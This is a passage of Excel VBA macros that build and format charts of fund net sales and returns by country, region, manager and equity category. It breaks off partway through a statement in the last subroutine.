Set Area(2, 2) = Cells(Area(2, 1).row, Area(1, 2).Column)
ChartWidth = 8
ChartHeight = 20
Set DataArea = New CMetaData
DataArea.FirstRow = Area(1, 1).Offset(1, 0).row ' ignore header row
DataArea.LastRow = Area(2, 1).row
DataArea.FirstCol = Area(1, 1).Column
DataArea.LastCol = Area(1, 2).Column
Set StartCol = DataArea.DataRange(1, 1).End(xlToRight).Offset(0, 2)
Set ChartLoc = Range(StartCol, StartCol.Offset(ChartHeight - 1, ChartWidth - 1))
Set MyChart = ActiveSheet.Shapes.AddChart(xlColumnStacked).Chart
With MyChart
.SetSourceData Source:=DataArea.DataRange
.SeriesCollection(1).Name = "Local Net Sales"
.SeriesCollection(2).Name = "Cross-Border Net Sales"
' Location
With .Parent
.Height = ChartLoc.Height
.Width = ChartLoc.Width
.top = ChartLoc.top
.left = ChartLoc.left
End With
' Axes
With .Axes(xlValue)
.MajorGridlines.Delete
.DisplayUnit = xlThousands
.TickLabels.NumberFormat = "#,##0"
.HasDisplayUnitLabel = False
.TickLabels.Font.Size = 10
.HasTitle = True
.AxisTitle.text = "€ BILLIONS"
.AxisTitle.Orientation = 90
.AxisTitle.Font.Bold = msoFalse
.AxisTitle.top = 30
.AxisTitle.left = 5
End With
.Axes(xlCategory).TickLabelPosition = xlLow
' Labelling
.HasTitle = True
With .ChartTitle
.text = "Cross Border & Local Net Sales by Country"
.Format.TextFrame2.TextRange.Font.Size = 11
End With
.HasLegend = True
With .Legend
.left = MyChart.ChartTitle.left - 120
.top = MyChart.ChartTitle.top + 30
.Height = 20
.Width = 180
End With
' Resize PlotArea
.PlotArea.top = 5
.PlotArea.Width = MyChart.ChartArea.Width - 25
.PlotArea.Height = MyChart.ChartArea.Height - 10
' Legend
With .Legend
.top = MyChart.ChartTitle.top + 20
.left = MyChart.ChartTitle.left + 5
End With
' Colors
' Local = Navy
.SeriesCollection(1).Format.Fill.ForeColor.RGB = RGB(12, 74, 116)
' CB = Teal
.SeriesCollection(2).Format.Fill.ForeColor.RGB = RGB(146, 210, 198)
End With
End Sub
Sub ManagerByCtryChart()
Dim Area(2, 2), DataRange As Range
Dim ChartLoc, startCell As Range
Dim MySheet As Worksheet
Dim MyChart As Chart
Dim ChartWidth, ChartHeight As Long
Dim CountryNames As New Scripting.Dictionary
Dim country As Variant
Set MySheet = ActiveSheet
Set Area(1, 1) = Cells(2, 1)
Set Area(1, 2) = Area(1, 1).End(xlToRight)
Set Area(2, 1) = Area(1, 1).End(xlDown)
Set Area(2, 2) = Cells(Area(2, 1).row, Area(1, 2).Column)
Set DataRange = Range(Area(1, 1), Area(2, 2).Offset(0, -3))
' Chart params
ChartWidth = 6
ChartHeight = 20
Set startCell = Area(2, 1).Offset(2, 0)
Set ChartLoc = Range(startCell, startCell.Offset(ChartHeight - 1, ChartWidth - 1))
Set MyChart = MySheet.Shapes.AddChart(xlColumnStacked).Chart
With MyChart
.SetSourceData Source:=DataRange
.SeriesCollection(2).PlotOrder = 1 ' Ensure Top 3 on top
With .Parent
.Height = ChartLoc.Height
.Width = ChartLoc.Width
.top = ChartLoc.top
.left = ChartLoc.left
End With
' Gap Width
.ChartGroups(1).GapWidth = 150
' Axes
With .Axes(xlValue)
.MajorGridlines.Delete
.DisplayUnit = xlThousands
.TickLabels.NumberFormat = "#,##0"
.HasDisplayUnitLabel = False
.TickLabels.Font.Size = 10
.HasTitle = True
With .AxisTitle
.Orientation = 90
.text = "€ BILLIONS"
.Font.Bold = msoFalse
.top = 10
.left = -2
End With
End With
.Axes(xlCategory).TickLabelPosition = xlLow
' Labelling
.HasLegend = True
With .Legend
.top = MyChart.PlotArea.top
.left = MyChart.PlotArea.left + 40
.Width = MyChart.PlotArea.Width
.Height = 20
End With
' Resize/reorient plot area
With .PlotArea
.top = 10
.left = 10
.Width = MyChart.ChartArea.Width - 20
End With
' Colors
' Top 3 = Navy
.SeriesCollection(2).Format.Fill.ForeColor.RGB = RGB(12, 74, 116)
' Middle = Gray
.SeriesCollection(1).Format.Fill.ForeColor.RGB = RGB(199, 199, 199)
' Bottom 3 = Light Blue
.SeriesCollection(3).Format.Fill.ForeColor.RGB = RGB(147, 205, 221)
End With
Cells(1, 1).Select
End Sub
Sub GrossByRegionChart()
Dim Area(2, 2), DataRange As Range
Dim ChartLoc, startCell As Range
Dim MySheet As Worksheet
Dim MyChart As Chart
Dim ChartWidth, ChartHeight As Long
Set MySheet = ActiveSheet
Set Area(1, 1) = Cells(1, 1)
Set Area(1, 2) = Area(1, 1).End(xlToRight)
Set Area(2, 1) = Area(1, 1).End(xlDown)
Set Area(2, 2) = Cells(Area(2, 1).row, Area(1, 2).Column)
Set DataRange = Range(Area(1, 1), Area(2, 2))
' Chart params
ChartWidth = 10
ChartHeight = 20
Set startCell = Cells(Area(2, 1).Offset(7, 0).row, 1)
Set ChartLoc = Range(startCell, _
startCell.Offset(ChartHeight - 1, ChartWidth - 1))
Set MyChart = MySheet.Shapes.AddChart(xlColumnStacked100).Chart
With MyChart
.SetSourceData Source:=DataRange
.PlotBy = Excel.XlRowCol.xlRows ' plot by rows (default by cols, ie 3 series)
.SeriesCollection(2).PlotOrder = 1
With .Parent
.Height = ChartLoc.Height
.Width = ChartLoc.Width
.top = ChartLoc.top
.left = ChartLoc.left
End With
.ChartGroups(1).GapWidth = 80
' Axes & Legend
.Axes(xlValue).MajorGridlines.Delete
.Axes(xlValue).TickLabels.Font.Size = 12
.Axes(xlCategory).TickLabels.Font.Size = 11
With .Legend
.Position = xlLegendPositionTop
.left = MyChart.PlotArea.left
.Width = MyChart.PlotArea.Width
.Font.Size = 12
End With
' Colors
' Europe = Navy
With .SeriesCollection(1).Format.Fill
.Visible = msoTrue
.ForeColor.ObjectThemeColor = msoThemeColorText2
.ForeColor.TintAndShade = 0
.ForeColor.Brightness = -0.25
.Transparency = 0
.Solid
End With
' Asia Pacific = Light Blue
With .SeriesCollection(2).Format.Fill
.Visible = msoTrue
.ForeColor.ObjectThemeColor = msoThemeColorAccent1
.ForeColor.TintAndShade = 0
.ForeColor.Brightness = 0.400000006
.Transparency = 0
.Solid
End With
' Rest of World = Dot-ey
With .SeriesCollection(3).Format.Fill
.Visible = msoTrue
.Patterned msoPattern50Percent
.BackColor.RGB = RGB(255, 255, 255)
.ForeColor.ObjectThemeColor = msoThemeColorBackground1
.ForeColor.TintAndShade = 0
.ForeColor.Brightness = -0.25
End With
End With
Cells(1, 1).Select
End Sub
Sub EquityCatSalesChart()
Dim Area(2, 2), tmpRange As Range
Dim ChartLoc, startCell As Range
Dim MySheet As Worksheet
Dim MyChart As Chart
Dim ChartWidth, ChartHeight As Long
Dim NetSales, ATR As CMetaData
Dim Months, i As Long
Dim Headers As Range
Set MySheet = ActiveSheet
Set NetSales = New CMetaData
Set ATR = New CMetaData
Set tmpRange = Range(Cells(1, 1).End(xlToRight), Cells(1, 1).End(xlToRight).End(xlToRight))
Months = tmpRange.Columns.Count - 1
Set Area(1, 1) = Cells(2, 1)
Set Area(1, 2) = Area(1, 1).End(xlToRight)
Set Area(2, 1) = Area(1, 1).End(xlDown)
Set Area(2, 2) = Cells(Area(2, 1).row, Area(1, 2).Column)
' Define Header range
Set Headers = Range(Area(1, 1).Offset(0, 1), Area(1, 1).Offset(0, Months))
Headers.Select
' Define DataRange
NetSales.FirstRow = Area(1, 1).Offset(1, 0).row
NetSales.LastRow = Area(2, 1).row
NetSales.FirstCol = Area(1, 1).Offset(1, 1).Column
NetSales.LastCol = Area(1, 1).Offset(1, Months).Column
ATR.FirstRow = NetSales.FirstRow
ATR.LastRow = NetSales.LastRow
ATR.FirstCol = NetSales.LastCol + 1
ATR.LastCol = Area(1, 2).Column
' Chart params
ChartWidth = 12
ChartHeight = 30
Set startCell = Cells(Area(2, 1).Offset(2, 0).row, 1)
Set ChartLoc = Range(startCell, _
startCell.Offset(ChartHeight - 1, ChartWidth - 1))
Set MyChart = MySheet.Shapes.AddChart(xlColumnClustered).Chart
With MyChart
.SetSourceData Source:=NetSales.DataRange.Rows(1)
.SeriesCollection(1).XValues = Headers
' Define series (name & range)
' This could be refactored to be simpler;
' thought that order would affect legend layout (plot type overrides though)
For i = 1 To 3
If i <> 1 Then
.SeriesCollection.NewSeries
With .SeriesCollection(2 * i - 1)
.Name = Area(1, 1).Offset(i, 0).Value
.Values = NetSales.DataRange.Rows(i)
.AxisGroup = xlPrimary
.ChartType = xlColumnClustered
End With
Else
.SeriesCollection(i).Name = Area(1, 1).Offset(i, 0).Value
End If
' Even Series are ATR
.SeriesCollection.NewSeries
With .SeriesCollection(2 * i)
.Name = "Avg TR of " & Area(1, 1).Offset(i, 0).Value
.Values = ATR.DataRange.Rows(i)
.AxisGroup = xlSecondary
.ChartType = xlLine
End With
Next i
' Set chart location
With .Parent
.Width = ChartLoc.Width
.Height = ChartLoc.Height
.top = ChartLoc.top
.left = ChartLoc.left
End With
' Axes
' LHS y-axis
With .Axes(xlValue, xlPrimary)
.TickLabels.Font.Size = 12
.MajorGridlines.Delete
.DisplayUnit = xlThousands
.TickLabels.NumberFormat = "#,##0"
.HasDisplayUnitLabel = False
.HasTitle = True
With .AxisTitle
.Orientation = xlHorizontal
.text = "€ Billions"
.Font.Size = 12
.Font.Bold = msoFalse
.Font.Italic = msoTrue
.top = 0
.left = 5
End With
End With
' RHS y-axis
With .Axes(xlValue, xlSecondary)
.TickLabels.Font.Size = 12
.TickLabels.NumberFormat = "#,##0"
.HasDisplayUnitLabel = False
.HasTitle = True
With .AxisTitle
.Orientation = xlHorizontal
.text = "%"
.Font.Size = 12
.Font.Bold = msoFalse
.Font.Italic = msoTrue
.top = 0
.left = MyChart.ChartArea.Width - 25
End With
End With
' x-axis
With .Axes(xlCategory)
.TickLabels.Font.Size = 12
.TickLabelPosition = xlTickLabelPositionLow
End With
' Legend
With .Legend
.top = MyChart.PlotArea.top + 10
.left = MyChart.ChartArea.left + 25
.Height = 30
.Width = MyChart.ChartArea.Width - 50
.Font.Size = 10
End With
' PlotArea adjustments
.PlotArea.top = 20
.PlotArea.left = .ChartArea.left
.PlotArea.Width = .ChartArea.Width
' Colors
' Equity Emerging Markets = Navy
With .SeriesCollection(1).Format.Fill
.Visible = msoTrue
.ForeColor.ObjectThemeColor = msoThemeColorText2
.ForeColor.TintAndShade = 0
.ForeColor.Brightness = -0.25
.Transparency = 0
.Solid
End With
' Equity Europe = Light Blue
With .SeriesCollection(3).Format.Fill
.Visible = msoTrue
.ForeColor.ObjectThemeColor = msoThemeColorAccent1
.ForeColor.TintAndShade = 0
.ForeColor.Brightness = 0.400000006
.Transparency = 0
.Solid
End With
' Equity North America = Gray stripey
With .SeriesCollection(5).Format.Fill
.Patterned msoPatternLightUpwardDiagonal
.ForeColor.ObjectThemeColor = msoThemeColorBackground1
.ForeColor.TintAndShade = 0
.ForeColor.Brightness = -0.349999994
.Transparency = 0
End With
' Avg TR of Equity Emerging Market = Green line
.SeriesCollection(2).Format.Line.ForeColor.RGB = RGB(152, 185, 84)
.SeriesCollection(2).Format.Line.Weight = 2.25
' Avg TR of Equity Europe = Gray dotted line
With .SeriesCollection(4).Format.Line
.DashStyle = msoLineSysDash
.Visible = msoTrue
.ForeColor.ObjectThemeColor = msoThemeColorAccent4
.ForeColor.TintAndShade = 0
.ForeColor.Brightness = 0.6000000238
.Transparency = 0.0099999905
End With
' Avg TR of Equity North America = Navy line
With .SeriesCollection(6).Format.Line
.Visible = msoTrue
.Weight = 2.25
.ForeColor.ObjectThemeColor = msoThemeColorText2
.ForeColor.TintAndShade = 0
.ForeColor.Brightness = -0.25
.Transparency = 0
End With
End With
Cells(1, 1).Select
End Sub
Sub ManagerBubbleChart(Optional TitleText As String = "")
Dim DataArea As CMetaData
Dim Area(2, 2) As Range
Dim ChartLoc As Range
Dim MySheet As Worksheet
Dim MyChart As Chart
Dim ChartWidth, ChartHeight As Long
Dim ManagerLabels(1 To 2) As Range
Dim TextBoxText As String
Dim AxisLabels(1 To 2) As String
Dim r, i As Long
Dim AxisType As Variant
Dim yLabel As Shape
Dim BubbleLab(1 To 2) As String
Set MySheet = ActiveSheet
BubbleLab(1) = "12-Month Net Sales in Euro Billions"
BubbleLab(2) = "Asset-Weighted 1-Year Total Return"
' Define contents area
Set Area(1, 1) = Cells(1, 1)
Set Area(1, 2) = Area(1, 1).End(xlToRight).Offset(0, -1) ' ignore No Nulls column
Set Area(2, 1) = Area(1, 1).End(xlDown)
Set Area(2, 2) = Cells(Area(2, 1).row, Area(1, 2).Column)
AxisLabels(1) = "1-Year Return in Euro Weighted Average" ' x-axis
AxisLabels(2) = "YTD TR in Euro Weighted Average" ' y-axis
' Instantiate & define DataArea
Set DataArea = New CMetaData
DataArea.FirstRow = Area(1, 1).Offset(1, 0).row
DataArea.LastRow = Area(2, 1).row
DataArea.FirstCol = Area(1, 1).Column
DataArea.LastCol = Area(2, 2).Column
' Set chart params
ChartWidth = 8
ChartHeight = 20
Set ChartLoc = Range(Cells(DataArea.FirstRow, DataArea.LastCol + 2), _
Cells(DataArea.FirstRow + ChartHeight, DataArea.LastCol + 2 + ChartWidth))
Set MyChart = MySheet.Shapes.AddChart(xlXYScatter).Chart
With MyChart
' Set chart location
With MyChart.Parent
.Height = ChartLoc.Height
.Width = ChartLoc.Width
.top = ChartLoc.top
.left = ChartLoc.left
End With
' Set style
.ClearToMatchStyle
.ChartStyle = 269
.ChartColor = 21
For r = 1 To DataArea.DataRange.Rows.Count
If r > .SeriesCollection.Count Then
.SeriesCollection.NewSeries
End If
.SeriesCollection(r).Name = DataArea.DataRange(r, 1)
.SeriesCollection(r).XValues = DataArea.DataRange(r, 2)
.SeriesCollection(r).Values = DataArea.DataRange(r, 3)
' Labels
.SeriesCollection(r).Points(1).ApplyDataLabels
.SeriesCollection(r).DataLabels.ShowSeriesName = True
.SeriesCollection(r).DataLabels.ShowValue = False
.SeriesCollection(r).DataLabels.Position = xlLabelPositionAbove
Next r
' Axis, Legend, Gridlines
For Each AxisType In Array(xlCategory, xlValue)
With MyChart.Axes(AxisType)
.TickLabels.Font.Size = 14
.TickLabels.NumberFormat = "0%"
' Axis label colors
.TickLabels.Font.Color = RGB(146, 208, 80)
If AxisType = xlCategory Then
.MajorGridlines.Delete
.HasTitle = True
.DisplayUnit = xlThousands
.HasDisplayUnitLabel = False
.TickLabels.NumberFormat = "#,##0"
.AxisTitle.Font.Size = 12
.AxisTitle.text = BubbleLab(1)
.AxisTitle.Font.Bold = False
Else
' Horizontal Gridlines
With .MajorGridlines.Format.Line
.DashStyle = msoLineDashDot
.Visible = msoTrue
.ForeColor.ObjectThemeColor = msoThemeColorBackground1
.ForeColor.TintAndShade = 0
.ForeColor.Brightness = -0.150000006
.Transparency = 0
End With
End If
End With
Next AxisType
.HasLegend = False
' Adjust for squished plot area
Application.DisplayAlerts = False
.PlotArea.Select
With .PlotArea
.top = 20
.left = 0
.Width = MyChart.ChartArea.Width
.Height = MyChart.ChartArea.Height - 40
End With
Application.DisplayAlerts = True
' Add text boxes (ie yLabel)
Set yLabel = MyChart.Shapes.AddLabel(msoTextOrientationHorizontal, _
MyChart.PlotArea.left + 20, _
MyChart.PlotArea.top - 20, _
180, 19)
yLabel.TextFrame2.TextRange.Characters.text = BubbleLab(2)
yLabel.TextFrame2.TextRange.Font.Size = 12
' Colors
.ChartColor = 13
' Vary point shapes
For i = 1 To .SeriesCollection.Count
With .SeriesCollection(i)
.MarkerStyle = i Mod 7 + 1
.MarkerSize = 8
.Format.Fill.Transparency = 0.5
End With
Next i
End With
ChartLoc.Cells(1, 1).Offset(-1, 1).Value = TitleText
Cells(1, 1).Select
End Sub
Sub MSRegionChart(Optional kind As String = "countries")
' Builds MS Region chart using Net Sales
Dim DataRange(1 To 2) As CMetaData
Dim Area(2, 2) As Range
Dim ChartLoc(1 To 2) As Range
Dim startCell, Measure As Range
Dim MySheet As Worksheet
Dim MyChart(1 To 2) As Chart
Dim ChartWidth, ChartHeight As Long
Dim Months, tmpCell, i, j As Long
Dim Headers As Range
Dim TitleBox As Shape
Set MySheet = ActiveSheet
Set Area(1, 1) = Cells(2, 1)
Set Area(1, 2) = Area(1, 1).End(xlToRight)
Set Area(2, 1) = Area(1, 1).Offset(0, 1).End(xlDown).Offset(0, -1)
Set Area(2, 2) = Cells(Area(2, 1).row, Area(1, 2).Column)
' Calculate number of periods & Europe start row
Months = Range(Cells(1, 1).End(xlToRight), Cells(1, 1).End(xlToRight).End(xlToRight)).Columns.Count - 1
tmpCell = Cells(Rows.Count, 1).End(xlUp).row ' Europe data start row
' Instantiate CMetaData objs
For i = 1 To 2
Set DataRange(i) = New CMetaData
Next i
' Chart params
ChartWidth = 12
ChartHeight = 30
For i = 1 To 2
Set startCell = Area(2, 1).Offset(2 + (i - 1) * ChartHeight, 0)
Set ChartLoc(i) = Range(startCell, startCell.Offset(ChartHeight - 2, ChartWidth - 1))
Next i
' Define data ranges
Set Headers = Range(Area(1, 1).Offset(0, 2), Area(1, 1).Offset(0, 1 + Months))
DataRange(1).FirstRow = Area(1, 1).Offset(1, 0).row
DataRange(1).LastRow = tmpCell - 1
DataRange(1).FirstCol = Area(1, 1).Offset(0, 1).Column
DataRange(1).LastCol = Area(1, 2).Column
DataRange(2).FirstRow = tmpCell
DataRange(2).LastRow = Area(2, 1).row
DataRange(2).FirstCol = Area(1, 1).Offset(0, 1).Column
DataRange(2).LastCol = Area(1, 2).Column
If kind = "countries" Then
DataRange(1).Name = "Asia"
DataRange(2).Name = "Europe"
ElseIf kind = "cb v local" Then
DataRange(1).Name = "Europe Cross-border"
DataRange(2).Name = "Europe Local"
End If
' Build Chart
For i = 1 To 2
Set Measure = Range(DataRange(i).DataRange(1, 1).Offset(0, Months + 1), _
DataRange(i).DataRange(1, 1).Offset(DataRange(i).DataRange.Rows.Count - 1, DataRange(i).DataRange.Columns.Count - 1))
Set MyChart(i) = MySheet.Shapes.AddChart(xlColumnStacked).Chart
With MyChart(i)
.SetSourceData Source:=Measure, PlotBy:=Excel.XlRowCol.xlRows
For j = 1 To .SeriesCollection.Count
With .SeriesCollection(j)
.Name = DataRange(i).DataRange(j, 1)
.XValues = Headers
End With
Next j
.ChartGroups(1).GapWidth = 85
' Set chart location
With .Parent
.Height = ChartLoc(i).Height
.Width = ChartLoc(i).Width
.top = ChartLoc(i).top
.left = ChartLoc(i).left
End With
' Axes
With .Axes(xlCategory)
.TickLabels.Font.Size = 11
.TickLabelPosition = xlTickLabelPositionLow
.TickLabels.Orientation = 30
End With
With .Axes(xlValue)
.HasTitle = True
.AxisTitle.text = "€ Billions"
.AxisTitle.Font.Size = 12
.AxisTitle.Font.Italic = msoTrue
.AxisTitle.Font.Bold = msoFalse
.AxisTitle.Orientation = xlHorizontal
.AxisTitle.top = -5
.AxisTitle.left = 8
.MajorGridlines.Delete
.TickLabels.Font.Size = 11
.DisplayUnit = xlThousands
.HasDisplayUnitLabel = False
End With
' Legend
With .Legend
.Font.Name = "Wingdings"
.Font.Size = 11
.left = MyChart(i).ChartArea.Width - 350
.Height = 30
.top = MyChart(i).ChartArea.Height - 85
.Width = 300
End With
' Title
.HasTitle = True
.ChartTitle.text = " "
Set TitleBox = MyChart(i).Shapes.AddLabel(ms |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.